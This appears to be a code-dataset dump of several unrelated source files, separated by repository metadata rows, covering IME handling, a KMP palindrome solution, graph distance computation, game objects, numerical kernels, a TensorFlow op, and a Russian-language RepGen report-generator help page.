ResetComposition(window_handle);
}
}
void IMM32Manager::EnableIME(HWND window_handle) {
::ImmAssociateContextEx(window_handle, NULL, IACE_DEFAULT);
}
void IMM32Manager::UpdateCaretRect(HWND window_handle, Rect caret_rect) {
caret_rect_ = caret_rect;
// Move the IME windows.
HIMC imm_context = ::ImmGetContext(window_handle);
if (imm_context) {
MoveImeWindow(window_handle, imm_context);
::ImmReleaseContext(window_handle, imm_context);
}
}
void IMM32Manager::SetUseCompositionWindow(bool use_composition_window) {
use_composition_window_ = use_composition_window;
}
bool IMM32Manager::IsInputLanguageCJK() const {
LANGID lang = PRIMARYLANGID(input_language_id_);
return lang == LANG_CHINESE || lang == LANG_JAPANESE ||
lang == LANG_KOREAN;
}
bool IMM32Manager::IsImm32ImeActive() {
return ::ImmGetIMEFileName(::GetKeyboardLayout(0), nullptr, 0) > 0;
}
| 25.912921 | 105 | 0.738211 | hchenqi |
6bbbf22c8780a6b1604e2f72380c1489c216407f | 1,182 | cpp | C++ | algospot/PALINDROMIZE.cpp | Jeongseo21/Algorithm-1 | 1bce4f3d2328c3b3e24b9d7772fca43090a285e1 | [
"MIT"
] | 7 | 2019-08-05T14:49:41.000Z | 2022-03-13T07:10:51.000Z | algospot/PALINDROMIZE.cpp | Jeongseo21/Algorithm-1 | 1bce4f3d2328c3b3e24b9d7772fca43090a285e1 | [
"MIT"
] | null | null | null | algospot/PALINDROMIZE.cpp | Jeongseo21/Algorithm-1 | 1bce4f3d2328c3b3e24b9d7772fca43090a285e1 | [
"MIT"
] | 4 | 2021-01-04T03:45:22.000Z | 2021-10-06T06:11:00.000Z | /**
* problem: https://algospot.com/judge/problem/read/PALINDROMIZE
* time complexity: O(N + M)
* data structure: string
* algorithm : KMP
*/
#include <string>
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
vector<int> getPi(string s) {
int size = s.size();
vector<int> pi(size, 0);
for (int i = 1; i < size; i++) {
int j = pi[i - 1];
while (j > 0 && s[j] != s[i]) j = pi[j - 1];
if (s[i] == s[j]) pi[i] = ++j;
}
return pi;
}
int getSameInd(string s, string p) {
int N = s.size();
vector<int> pi = getPi(p);
int ans = 0;
int start = 0;
int sameInd = 0;
while (start < N) {
if (sameInd < p.size() && s[start + sameInd] == p[sameInd]) {
sameInd++;
if (sameInd + start == N) return sameInd;
}
else {
if (sameInd == 0) {
start++; continue;
}
int lastSameInd = pi[sameInd - 1];
start += sameInd - lastSameInd;
sameInd = lastSameInd;
}
}
}
int solve(string s) {
string p = s;
reverse(p.begin(), p.end());
int N = s.size();
int ans = getSameInd(s, p);
return N + (N - ans);
}
int main() {
int C;
cin >> C;
string s;
while (C--) {
cin >> s;
cout << solve(s) << endl;
}
return 0;
}
| 16.885714 | 63 | 0.560068 | Jeongseo21 |
6bbfaf18cd50d27c0e14dec503a315c9aa3532e6 | 7,982 | hpp | C++ | include/unitig_distance/SingleGenomeGraphDistances.hpp | jurikuronen/unitig_distance | d32af0684d699e49698df39c79cf0cb9efbaca0f | [
"MIT"
] | null | null | null | include/unitig_distance/SingleGenomeGraphDistances.hpp | jurikuronen/unitig_distance | d32af0684d699e49698df39c79cf0cb9efbaca0f | [
"MIT"
] | null | null | null | include/unitig_distance/SingleGenomeGraphDistances.hpp | jurikuronen/unitig_distance | d32af0684d699e49698df39c79cf0cb9efbaca0f | [
"MIT"
] | null | null | null | #pragma once
#include <iostream>
#include <map>
#include <set>
#include <thread>
#include <unordered_map>
#include <utility>
#include <vector>
#include "Graph.hpp"
#include "SearchJobs.hpp"
#include "Timer.hpp"
#include "types.hpp"
using distance_tuple_t = std::tuple<real_t, real_t, real_t, int_t>;
class SingleGenomeGraphDistances {
public:
SingleGenomeGraphDistances(
const SingleGenomeGraph& graph,
int_t n_threads,
int_t block_size,
real_t max_distance = REAL_T_MAX)
: m_graph(graph),
m_n_threads(n_threads),
m_block_size(block_size),
m_max_distance(max_distance)
{ }
// Calculate distances for single genome graphs.
std::vector<std::unordered_map<int_t, distance_tuple_t>> solve(const SearchJobs& search_jobs) {
std::vector<std::unordered_map<int_t, distance_tuple_t>> sgg_batch_distances(m_n_threads);
auto calculate_distance_block = [this, &search_jobs, &sgg_batch_distances](std::size_t thr, std::size_t block_start, std::size_t block_end) {
const auto& graph = m_graph;
for (std::size_t i = block_start + thr; i < block_end; i += m_n_threads) {
const auto& job = search_jobs[i];
auto v = job.v();
if (!graph.contains_original(v)) continue;
// First calculate distances between path start/end nodes.
auto sources = get_sgg_sources(v);
auto targets = get_sgg_targets(job.ws());
auto target_dist = graph.distance(sources, targets, m_max_distance);
std::vector<real_t> job_dist(job.ws().size(), m_max_distance);
std::map<int_t, real_t> dist;
for (std::size_t j = 0; j < targets.size(); ++j) dist[targets[j]] = target_dist[j];
// Now fix distances for (v, w) that were in paths.
process_job_distances(job_dist, graph.left_node(v), job.ws(), dist);
process_job_distances(job_dist, graph.right_node(v), job.ws(), dist);
add_job_distances_to_sgg_distances(sgg_batch_distances[thr], job, job_dist);
}
};
std::vector<std::thread> threads(m_n_threads);
for (std::size_t block_start = 0; block_start < search_jobs.size(); block_start += m_block_size) {
std::size_t block_end = std::min(block_start + m_block_size, search_jobs.size());
for (std::size_t thr = 0; thr < (std::size_t) m_n_threads; ++thr) threads[thr] = std::thread(calculate_distance_block, thr, block_start, block_end);
for (auto& thr : threads) thr.join();
}
return sgg_batch_distances;
}
private:
const SingleGenomeGraph& m_graph;
int_t m_n_threads;
int_t m_block_size;
real_t m_max_distance;
// Update source distance if source exists, otherwise add new source.
void update_source(std::vector<std::pair<int_t, real_t>>& sources, int_t mapped_idx, real_t distance) {
auto it = sources.begin();
while (it != sources.end() && it->first != (int_t) mapped_idx) ++it;
if (it == sources.end()) sources.emplace_back(mapped_idx, distance);
else it->second = std::min(it->second, distance);
}
// Add both sides of v as sources.
std::vector<std::pair<int_t, real_t>> get_sgg_sources(int_t v) {
std::vector<std::pair<int_t, real_t>> sources;
for (int_t v_original_idx = m_graph.left_node(v); v_original_idx <= m_graph.right_node(v); ++v_original_idx) {
auto v_mapped_idx = m_graph.mapped_idx(v_original_idx);
// Add v normally if it's not on a path, otherwise add both path end points.
if (m_graph.is_on_path(v_original_idx)) {
auto v_path_idx = m_graph.path_idx(v_original_idx);
int_t path_endpoint;
real_t distance;
// Add path start node.
std::tie(path_endpoint, distance) = m_graph.distance_to_start(v_path_idx, v_mapped_idx);
update_source(sources, path_endpoint, distance);
// Add path end node.
std::tie(path_endpoint, distance) = m_graph.distance_to_end(v_path_idx, v_mapped_idx);
update_source(sources, path_endpoint, distance);
} else {
update_source(sources, v_mapped_idx, 0.0);
}
}
return sources;
}
// Add both sides of each w as targets.
std::vector<int_t> get_sgg_targets(const std::vector<int_t>& ws) {
std::set<int_t> target_set;
for (auto w : ws) {
if (!m_graph.contains_original(w)) continue;
for (int_t w_original_idx = m_graph.left_node(w); w_original_idx <= m_graph.right_node(w); ++w_original_idx) {
if (m_graph.is_on_path(w_original_idx)) {
auto w_path_idx = m_graph.path_idx(w_original_idx);
target_set.insert(m_graph.start_node(w_path_idx));
target_set.insert(m_graph.end_node(w_path_idx));
} else {
target_set.insert(m_graph.mapped_idx(w_original_idx));
}
}
}
std::vector<int_t> targets;
for (auto t : target_set) targets.push_back(t);
return targets;
}
// Correct (v, w) distance if w were on a path.
real_t get_correct_distance(int_t v_path_idx, int_t v_mapped_idx, int_t w_original_idx, std::map<int_t, real_t>& dist) {
auto w_path_idx = m_graph.path_idx(w_original_idx);
auto w_mapped_idx = m_graph.mapped_idx(w_original_idx);
if (w_path_idx == INT_T_MAX) return dist[w_mapped_idx]; // w not on path, distance from sources is correct already.
// Get distance if v and w are on the same path, this distance could be shorter.
real_t distance = v_path_idx == w_path_idx ? m_graph.distance_in_path(v_path_idx, v_mapped_idx, w_mapped_idx) : REAL_T_MAX;
// w on path, add distances of (w, path_endpoint).
int_t w_path_endpoint;
real_t w_path_distance;
std::tie(w_path_endpoint, w_path_distance) = m_graph.distance_to_start(w_path_idx, w_mapped_idx);
distance = std::min(distance, dist[w_path_endpoint] + w_path_distance);
std::tie(w_path_endpoint, w_path_distance) = m_graph.distance_to_end(w_path_idx, w_mapped_idx);
distance = std::min(distance, dist[w_path_endpoint] + w_path_distance);
return distance;
}
// Fix distances for (v, w) that were in paths.
void process_job_distances(std::vector<real_t>& job_dist, int_t v_original_idx, const std::vector<int_t>& ws, std::map<int_t, real_t>& dist) {
auto v_path_idx = m_graph.path_idx(v_original_idx);
auto v_mapped_idx = m_graph.mapped_idx(v_original_idx);
for (std::size_t w_idx = 0; w_idx < ws.size(); ++w_idx) {
auto w = ws[w_idx];
if (!m_graph.contains_original(w)) continue;
auto distance = get_correct_distance(v_path_idx, v_mapped_idx, m_graph.left_node(w), dist);
distance = std::min(distance, get_correct_distance(v_path_idx, v_mapped_idx, m_graph.right_node(w), dist));
job_dist[w_idx] = std::min(job_dist[w_idx], distance);
}
}
void add_job_distances_to_sgg_distances(std::unordered_map<int_t, distance_tuple_t>& sgg_distances, const SearchJob& job, const std::vector<real_t>& job_dist) {
for (std::size_t w_idx = 0; w_idx < job_dist.size(); ++w_idx) {
auto distance = job_dist[w_idx];
if (distance >= m_max_distance) continue;
auto original_idx = job.original_index(w_idx);
if (sgg_distances.find(original_idx) == sgg_distances.end()) sgg_distances.emplace(original_idx, std::make_tuple(REAL_T_MAX, 0.0, 0.0, 0));
auto& distances = sgg_distances[original_idx];
distances += std::make_tuple(distance, distance, distance, 1);
}
}
};
| 47.796407 | 164 | 0.638436 | jurikuronen |
6bc00f04ffb14089e11392466b46d313d66f95a8 | 1,609 | cpp | C++ | src/GameObject.cpp | Delpod/This-Hero-That-Villain | 0dc504acf3ac5d0cb39cd14c47f2e08880a6f169 | [
"Zlib",
"Apache-2.0"
] | null | null | null | src/GameObject.cpp | Delpod/This-Hero-That-Villain | 0dc504acf3ac5d0cb39cd14c47f2e08880a6f169 | [
"Zlib",
"Apache-2.0"
] | null | null | null | src/GameObject.cpp | Delpod/This-Hero-That-Villain | 0dc504acf3ac5d0cb39cd14c47f2e08880a6f169 | [
"Zlib",
"Apache-2.0"
] | null | null | null | #include "GameObject.h"
#include "Game.h"
GameObject::GameObject(sf::Texture &texture, sf::IntRect coords, bool collidable, sf::IntRect collisionRect, float scale, bool loopTexture) {
load(texture, coords, collidable, collisionRect, scale, loopTexture);
}
void GameObject::load(sf::Texture &texture, sf::IntRect coords, bool collidable, sf::IntRect collisionRect, float scale, bool loopTexture) {
m_scale = scale;
m_bCollidable = collidable;
m_pBody = nullptr;
if(collisionRect == sf::IntRect(0, 0, 0, 0))
collisionRect = sf::IntRect(0, 0, coords.width, coords.height);
m_sprite.setTexture(texture);
texture.setRepeated(loopTexture);
m_sprite.setTextureRect(sf::IntRect(0, 0, coords.width, coords.height));
if(m_bCollidable)
m_sprite.setOrigin((float)collisionRect.left + (float)collisionRect.width / 2.0f, (float)collisionRect.top + (float)collisionRect.height / 2.0f);
else
m_sprite.setOrigin((float)coords.width / 2.0f, (float)coords.height / 2.0f);
m_sprite.setScale(scale, scale);
m_sprite.setPosition(coords.left, coords.top);
if(m_bCollidable) {
m_bodyDef.position = b2Vec2((float)coords.left / scale / 10.0f, (float)coords.top / scale / 10.0f);
m_pBody = Game::Inst()->getWorld()->CreateBody(&m_bodyDef);
b2PolygonShape box;
box.SetAsBox((float)collisionRect.width / 20.0f, (float)collisionRect.height / 20.0f);
m_pBody->CreateFixture(&box, 0.0f);
}
}
void GameObject::draw() {
Game::Inst()->getWindow()->draw(m_sprite);
}
GameObject::~GameObject() {
if(m_bCollidable) {
Game::Inst()->getWorld()->DestroyBody(m_pBody);
m_pBody = nullptr;
}
} | 32.836735 | 147 | 0.720945 | Delpod |
6bc0a61e9819b029a89053351a8108e4a04a981d | 3,681 | cpp | C++ | dpcpp/solver/multigrid_kernels.dp.cpp | kliegeois/ginkgo | 4defcc07f77828393cc5b4a735a00e50da2cbab0 | [
"BSD-3-Clause"
] | null | null | null | dpcpp/solver/multigrid_kernels.dp.cpp | kliegeois/ginkgo | 4defcc07f77828393cc5b4a735a00e50da2cbab0 | [
"BSD-3-Clause"
] | null | null | null | dpcpp/solver/multigrid_kernels.dp.cpp | kliegeois/ginkgo | 4defcc07f77828393cc5b4a735a00e50da2cbab0 | [
"BSD-3-Clause"
] | null | null | null | /*******************************<GINKGO LICENSE>******************************
Copyright (c) 2017-2022, the Ginkgo authors
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
******************************<GINKGO LICENSE>*******************************/
#include "core/solver/multigrid_kernels.hpp"
#include <ginkgo/core/base/array.hpp>
#include <ginkgo/core/base/exception_helpers.hpp>
#include <ginkgo/core/base/math.hpp>
#include <ginkgo/core/base/types.hpp>
#include "core/components/fill_array_kernels.hpp"
namespace gko {
namespace kernels {
namespace dpcpp {
/**
* @brief The MULTIGRID solver namespace.
*
* @ingroup multigrid
*/
namespace multigrid {
template <typename ValueType>
void kcycle_step_1(std::shared_ptr<const DefaultExecutor> exec,
const matrix::Dense<ValueType>* alpha,
const matrix::Dense<ValueType>* rho,
const matrix::Dense<ValueType>* v,
matrix::Dense<ValueType>* g, matrix::Dense<ValueType>* d,
matrix::Dense<ValueType>* e) GKO_NOT_IMPLEMENTED;
GKO_INSTANTIATE_FOR_EACH_VALUE_TYPE(GKO_DECLARE_MULTIGRID_KCYCLE_STEP_1_KERNEL);
template <typename ValueType>
void kcycle_step_2(std::shared_ptr<const DefaultExecutor> exec,
const matrix::Dense<ValueType>* alpha,
const matrix::Dense<ValueType>* rho,
const matrix::Dense<ValueType>* gamma,
const matrix::Dense<ValueType>* beta,
const matrix::Dense<ValueType>* zeta,
const matrix::Dense<ValueType>* d,
matrix::Dense<ValueType>* e) GKO_NOT_IMPLEMENTED;
GKO_INSTANTIATE_FOR_EACH_VALUE_TYPE(GKO_DECLARE_MULTIGRID_KCYCLE_STEP_2_KERNEL);
template <typename ValueType>
void kcycle_check_stop(std::shared_ptr<const DefaultExecutor> exec,
const matrix::Dense<ValueType>* old_norm,
const matrix::Dense<ValueType>* new_norm,
const ValueType rel_tol,
bool& is_stop) GKO_NOT_IMPLEMENTED;
GKO_INSTANTIATE_FOR_EACH_NON_COMPLEX_VALUE_TYPE(
GKO_DECLARE_MULTIGRID_KCYCLE_CHECK_STOP_KERNEL);
} // namespace multigrid
} // namespace dpcpp
} // namespace kernels
} // namespace gko
| 38.747368 | 80 | 0.707416 | kliegeois |
6bc16ddb7a1cb31d1f0341bef91db5c930e1083b | 3,579 | cc | C++ | celeriteflow/ops/celerite_mat_mul_op.cc | mirca/celeriteflow | ed09a178df05856097552a9081b6eb6d537216ee | [
"MIT"
] | null | null | null | celeriteflow/ops/celerite_mat_mul_op.cc | mirca/celeriteflow | ed09a178df05856097552a9081b6eb6d537216ee | [
"MIT"
] | null | null | null | celeriteflow/ops/celerite_mat_mul_op.cc | mirca/celeriteflow | ed09a178df05856097552a9081b6eb6d537216ee | [
"MIT"
] | null | null | null | #include "tensorflow/core/framework/op_kernel.h"
#include "tensorflow/core/framework/tensor_shape.h"
#include "tensorflow/core/platform/default/logging.h"
#include "tensorflow/core/framework/shape_inference.h"
#include <Eigen/Core>
#include "celerite.h"
using namespace tensorflow;
REGISTER_OP("CeleriteMatMul")
.Attr("T: {float, double}")
.Input("a: T")
.Input("u: T")
.Input("v: T")
.Input("p: T")
.Input("z: T")
.Output("y: T")
.SetShapeFn([](shape_inference::InferenceContext* c) {
shape_inference::DimensionHandle J;
shape_inference::ShapeHandle u, p, a, v, z;
TF_RETURN_IF_ERROR(c->WithRank(c->input(0), 1, &a));
TF_RETURN_IF_ERROR(c->WithRank(c->input(1), 2, &u));
TF_RETURN_IF_ERROR(c->WithRank(c->input(2), 2, &v));
TF_RETURN_IF_ERROR(c->WithRank(c->input(3), 2, &p));
TF_RETURN_IF_ERROR(c->WithRank(c->input(4), 2, &z));
TF_RETURN_IF_ERROR(c->Merge(u, v, &u));
c->set_output(0, c->input(4));
return Status::OK();
});
template <typename T>
class CeleriteMatMulOp : public OpKernel {
public:
explicit CeleriteMatMulOp(OpKernelConstruction* context) : OpKernel(context) {}
void Compute(OpKernelContext* context) override {
typedef Eigen::Map<const Eigen::Matrix<T, Eigen::Dynamic, 1>> c_vector_t;
typedef Eigen::Map<const Eigen::Matrix<T, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>> c_matrix_t;
typedef Eigen::Map<Eigen::Matrix<T, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor>> matrix_t;
const Tensor& a_t = context->input(0);
const Tensor& U_t = context->input(1);
const Tensor& V_t = context->input(2);
const Tensor& P_t = context->input(3);
const Tensor& Z_t = context->input(4);
OP_REQUIRES(context, (U_t.dims() == 2),
errors::InvalidArgument("U should have the shape (N, J)"));
int64 N = U_t.dim_size(0), J = U_t.dim_size(1);
OP_REQUIRES(context, ((P_t.dims() == 2) && (P_t.dim_size(0) == N-1) && (P_t.dim_size(1) == J)),
errors::InvalidArgument("P should have the shape (N-1, J)"));
OP_REQUIRES(context, ((a_t.dims() == 1) && (a_t.dim_size(0) == N)),
errors::InvalidArgument("a should have the shape (N)"));
OP_REQUIRES(context, ((V_t.dims() == 2) && (V_t.dim_size(0) == N) && (V_t.dim_size(1) == J)),
errors::InvalidArgument("V should have the shape (N, J)"));
OP_REQUIRES(context, ((Z_t.dims() == 2) && (Z_t.dim_size(0) == N)),
errors::InvalidArgument("Z should have the shape (N, Nrhs)"));
int64 Nrhs = Z_t.dim_size(1);
const auto a = c_vector_t(a_t.template flat<T>().data(), N);
const auto U = c_matrix_t(U_t.template flat<T>().data(), N, J);
const auto V = c_matrix_t(V_t.template flat<T>().data(), N, J);
const auto P = c_matrix_t(P_t.template flat<T>().data(), N-1, J);
const auto Z = c_matrix_t(Z_t.template flat<T>().data(), N, Nrhs);
// Create the outputs
Tensor* Y_t = NULL;
OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape({N, Nrhs}), &Y_t));
auto Y = matrix_t(Y_t->template flat<T>().data(), N, Nrhs);
Eigen::Matrix<T, Eigen::Dynamic, Eigen::Dynamic, Eigen::RowMajor> F_plus(J, Nrhs), F_minus(J, Nrhs);
celerite::matmul(a, U, V, P, Z, Y, F_plus, F_minus);
}
};
#define REGISTER_KERNEL(type) \
REGISTER_KERNEL_BUILDER( \
Name("CeleriteMatMul").Device(DEVICE_CPU).TypeConstraint<type>("T"), \
CeleriteMatMulOp<type>)
REGISTER_KERNEL(float);
REGISTER_KERNEL(double);
#undef REGISTER_KERNEL
| 37.28125 | 107 | 0.633417 | mirca |
6bc5c00e3ba8df358133ec650a78a55ef630622f | 1,803 | cpp | C++ | data/randgen.cpp | dhruvarya/simple-ra | 2cb3930d5fe75a96c335a55d788d697016d282d4 | [
"MIT"
] | null | null | null | data/randgen.cpp | dhruvarya/simple-ra | 2cb3930d5fe75a96c335a55d788d697016d282d4 | [
"MIT"
] | null | null | null | data/randgen.cpp | dhruvarya/simple-ra | 2cb3930d5fe75a96c335a55d788d697016d282d4 | [
"MIT"
] | null | null | null | #include<bits/stdc++.h>
using namespace std;
typedef long long int ll;
typedef long double ld;
//****************************************************
#define lp(var,start,end) for (ll var = start; var <end ; ++var)
#define rlp(var,start,end) for(ll var = start; var>=end ; var--)
#define pb push_back
#define mp make_pair
#define pf push_front
#define ff first
#define ss second
#define vll vector<ll>
#define pll pair<ll,ll>
#define vpll vector<pll>
#define all(X) X.begin(),X.end()
#define endl "\n" //comment it for interactive questions
#define trace1(a) cerr << #a << ": " << a << endl;
#define trace2(a,b) cerr << #a << ": " << a << " " << #b << ": " << b << endl;
#define trace3(a,b,c) cerr << #a << ": " << a << " " << #b << ": " << b << " " << #c << ": " << c << endl;
#define trace4(a,b,c,d) cerr << #a << ": " << a << " " << #b << ": " << b << " " << #c << ": " << c << #d << ": " << d << endl;
#define FAST_IO ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL)
//*******************************************************
//Some Functions
const ll MOD = (ll)1e9+7; //change it for other mods
ll powmod(ll a,ll b)
{
ll res = 1;
while(b > 0) {
if(b & 1) res = (res * a) % MOD;
a = (a*a)%MOD;
b = b >> 1;
}
return res % MOD;
}
void solve(ll testnum)
{
srand(time(0));
ll n, m;
cin >> n >> m;
for(int i = 0; i < n; i++) {
for(int j = 0; j < m - 1; j++) {
cout << rand()%500 << ",";
}
cout << rand()%500 << "\n";
}
}
int main()
{
FAST_IO;
#ifdef STIO
freopen("input.txt" , "r", stdin);
freopen("output.txt" , "w", stdout);
#endif
ll t = 1;
// cin >> t;
for (ll i = 1; i <= t; i++) {
// cout << "Case #" << i << ": ";
solve(i);
}
} | 26.910448 | 127 | 0.455352 | dhruvarya |
6bc8e91192d4e68013effdd9d29d505977138ac2 | 3,386 | cpp | C++ | EngineTests/Base/Window/Test.Window.cpp | azhirnov/GraphicsGenFramework-modular | 348be601f1991f102defa0c99250529f5e44c4d3 | [
"BSD-2-Clause"
] | 12 | 2017-12-23T14:24:57.000Z | 2020-10-02T19:52:12.000Z | EngineTests/Base/Window/Test.Window.cpp | azhirnov/ModularGraphicsFramework | 348be601f1991f102defa0c99250529f5e44c4d3 | [
"BSD-2-Clause"
] | null | null | null | EngineTests/Base/Window/Test.Window.cpp | azhirnov/ModularGraphicsFramework | 348be601f1991f102defa0c99250529f5e44c4d3 | [
"BSD-2-Clause"
] | null | null | null | // Copyright (c) Zhirnov Andrey. For more information see 'LICENSE.txt'
#include "../Common.h"
class WindowApp final : public StaticRefCountedObject
{
// variables
private:
TModID::type windowID = Uninitialized;
CreateInfo::Window wndDescr;
ModulePtr taskMngr;
String name;
bool looping = true;
// methods
public:
WindowApp (const ModulePtr &taskMngr, TModID::type wndID, const CreateInfo::Window &descr) :
windowID( wndID ), wndDescr( descr ), taskMngr( taskMngr )
{}
void Initialize (GlobalSystemsRef gs)
{
auto thread = gs->parallelThread;
if ( not gs->taskModule )
thread->AddModule( TaskModuleModuleID, CreateInfo::TaskModule{ taskMngr } );
thread->AddModule( windowID, wndDescr );
thread->AddModule( InputThreadModuleID, CreateInfo::InputThread() );
auto window = thread->GetModuleByID( windowID );
auto input = thread->GetModuleByID( InputThreadModuleID );
//window->AddModule( WinKeyInputModuleID, CreateInfo::RawInputHandler() );
//window->AddModule( WinMouseInputModuleID, CreateInfo::RawInputHandler() );
window->Subscribe( this, &WindowApp::_OnWindowClosed );
window->Subscribe( this, &WindowApp::_OnWindowUpdate );
input->Subscribe( this, &WindowApp::_OnKey );
}
void Quit ()
{
}
// only for main thread
bool Update ()
{
GetMainSystemInstance()->Send( ModuleMsg::Update{} );
return looping;
}
private:
bool _OnWindowClosed (const OSMsg::WindowAfterDestroy &)
{
looping = false;
return true;
}
bool _OnWindowUpdate (const ModuleMsg::Update &)
{
return true;
}
bool _OnKey (const ModuleMsg::InputKey &)
{
return true;
}
};
SHARED_POINTER( WindowApp );
extern void Test_Window ()
{
using EFlags = CreateInfo::Window::EWindowFlags;
auto ms = GetMainSystemInstance();
auto mf = ms->GlobalSystems()->modulesFactory;
Platforms::RegisterPlatforms();
CHECK( OS::FileSystem::FindAndSetCurrentDir( "EngineTests/Base" ) );
ModulePtr platform;
CHECK( mf->Create( 0, ms->GlobalSystems(), CreateInfo::Platform{}, OUT platform ) );
ms->Send( ModuleMsg::AttachModule{ platform });
OSMsg::GetOSModules req_ids;
CHECK( platform->Send( req_ids ) );
ms->AddModule( InputManagerModuleID, CreateInfo::InputManager() );
ms->AddModule( DataProviderManagerModuleID, CreateInfo::DataProviderManager() );
{
auto thread = ms->GlobalSystems()->parallelThread;
auto task_mngr = ms->GetModuleByID( TaskManagerModuleID );
ModulePtr thread2;
WindowAppPtr app1 = New< WindowApp >( task_mngr, req_ids.result->window, CreateInfo::Window{ "window-0", EFlags::Resizable, uint2(800,600), int2(800,600) } );
WindowAppPtr app2 = New< WindowApp >( task_mngr, req_ids.result->window, CreateInfo::Window{ "window-1", EFlags::bits(), uint2(800,600), int2(-900,400) } );
app1->Initialize( thread->GlobalSystems() );
// create second thread with window
CHECK( ms->GlobalSystems()->modulesFactory->Create(
ParallelThreadModuleID,
ms->GlobalSystems(),
CreateInfo::Thread{
"SecondThread",
null,
LAMBDA( app2 ) (GlobalSystemsRef gs)
{
app2->Initialize( gs );
}
},
OUT (ModulePtr &)(thread2) ) );
thread2 = null;
// finish initialization
ModuleUtils::Initialize({ ms });
// main loop
for (; app1->Update();) {}
app1->Quit();
}
ms->Send( ModuleMsg::Delete{} );
WARNING( "Window test succeeded!" );
}
| 24.897059 | 160 | 0.692853 | azhirnov |
6bcc717019b31f9520a810c75fb40ef2f956b09e | 3,456 | tpp | C++ | bazaar/RepGen/srcdoc.tpp/RepGen$ru-ru.tpp | dreamsxin/ultimatepp | 41d295d999f9ff1339b34b43c99ce279b9b3991c | [
"BSD-2-Clause"
] | 2 | 2016-04-07T07:54:26.000Z | 2020-04-14T12:37:34.000Z | bazaar/RepGen/srcdoc.tpp/RepGen$ru-ru.tpp | dreamsxin/ultimatepp | 41d295d999f9ff1339b34b43c99ce279b9b3991c | [
"BSD-2-Clause"
] | null | null | null | bazaar/RepGen/srcdoc.tpp/RepGen$ru-ru.tpp | dreamsxin/ultimatepp | 41d295d999f9ff1339b34b43c99ce279b9b3991c | [
"BSD-2-Clause"
] | null | null | null | topic "RepGen - Short description and Tutorial";
[ $$0,0#00000000000000000000000000000000:Default]
[i448;a25;kKO9; $$1,0#37138531426314131252341829483380:structitem]
[l288;2 $$2,0#27521748481378242620020725143825:desc]
[0 $$3,0#96390100711032703541132217272105:end]
[{_}%EN-US
[ {{10000f0;t/25b/25@(113.42.0) [s0;%- [*@2;4 RepGen `- Очень простой генератор
отчетов (Короткое описание)]]}}&]
[s0;>%- [*^topic`:`/`/RepGen`/srcdoc`/RepGen`$en`-us^1 `[en`]][*1 ][*^topic`:`/`/RepGen`/srcdoc`/RepGen`$ru`-ru^1 `[
ru`]]&]
[s1;%- [C class_][*C RepGen]&]
[s2; [3 RepGen `- Class Простого генератора отчетов]&]
[s0; &]
[s0;%- &]
[ {{10000F(128)G(128)@1 [s0;%- [* Короткое описание].]}}&]
[s0;2%- &]
[s0; [2 Это работает очень просто:]&]
[s0; [*2 RepGen][2 записывает QTF отчет по QTF шаблону.]&]
[s0; [2 Если RepGen встречает ##`-переменную
в шаблоне, то он заменяет ее на реальное
значение.]&]
[s0;2 &]
[s0; [2 Работа ][*2 RepGen ][2 управляется несколькими
][*2 CallBack`'][2 ами, которые свои для каждого
типа отчета. ]&]
[s0;2 &]
[s0; [2 Для каждого типа отчета могут быть
][*/2 несколько различных][2 шаблонов,
из которых Ваши пользователи могут
выбрать до выполнения отчета.]&]
[s3;2%- &]
[ {{10000F(128)G(128)@1 [s0;%- [* Tutorial]]}}&]
[s0;2%- &]
[s0; Немного подробнее.&]
[s0; &]
[s0; [* RepGen] может создавать отчет основанный
на qtf`-шаблонах. Другими словами, для
создания финального отчета типа этого:&]
[s0; &]
[ {{10000@1 [s0;= AddressBookXML2`+RepGen&]
[s0;= Test report&]
[s0;= [2 (Use UWord for Edit)]&]
[s0;= &]
[s0;= `"Simple table`"&]
[ {{2202:1959:2342:3497h1;b4/15 [s0;= [*+117 Name]]
:: [s0;= [*+117 Surname]]
:: [s0;= [*+117 Address]]
:: [s0;= [*+117 E`-mail]]
::b0/15 [s0;= Petr]
:: [s0;= Petrov]
:: [s0;= Moscow]
:: [s0;= petr`@petrovich.ru ]
:: [s0;= Ivan]
:: [s0;= Ivanov]
:: [s0;= Ekaterinburg]
:: [s0;= ivan`@ivanovich.ru ]
:: [s0;= Sidor]
:: [s0;= Sidorov]
:: [s0;= Kazan]
:: [s0;= sidor`@sidorov.ru ]
::t4/15-3 [s0;> TOTAL [*/ 3] ADDRESSES]
::t0/15-2 [s0;%- ]
::-1 [s0;%- ]
:: [s0;%- ]}}&]
[s0;= &]
[s0; ]}}&]
[s0; &]
[s0; [* Шаблон] для этого отчета должен быть
как этот:&]
[s0; &]
[ {{10000@1 [s0;= AddressBookXML2`+RepGen&]
[s0;= Test report&]
[s0;= [2 (Use UWord for Edit)]&]
[s0;= &]
[s0;= `"Simple table`"&]
[ {{2500:2500:2500:2500h1;b4/15 [s0;= [*+117 Name]]
:: [s0;= [*+117 Surname]]
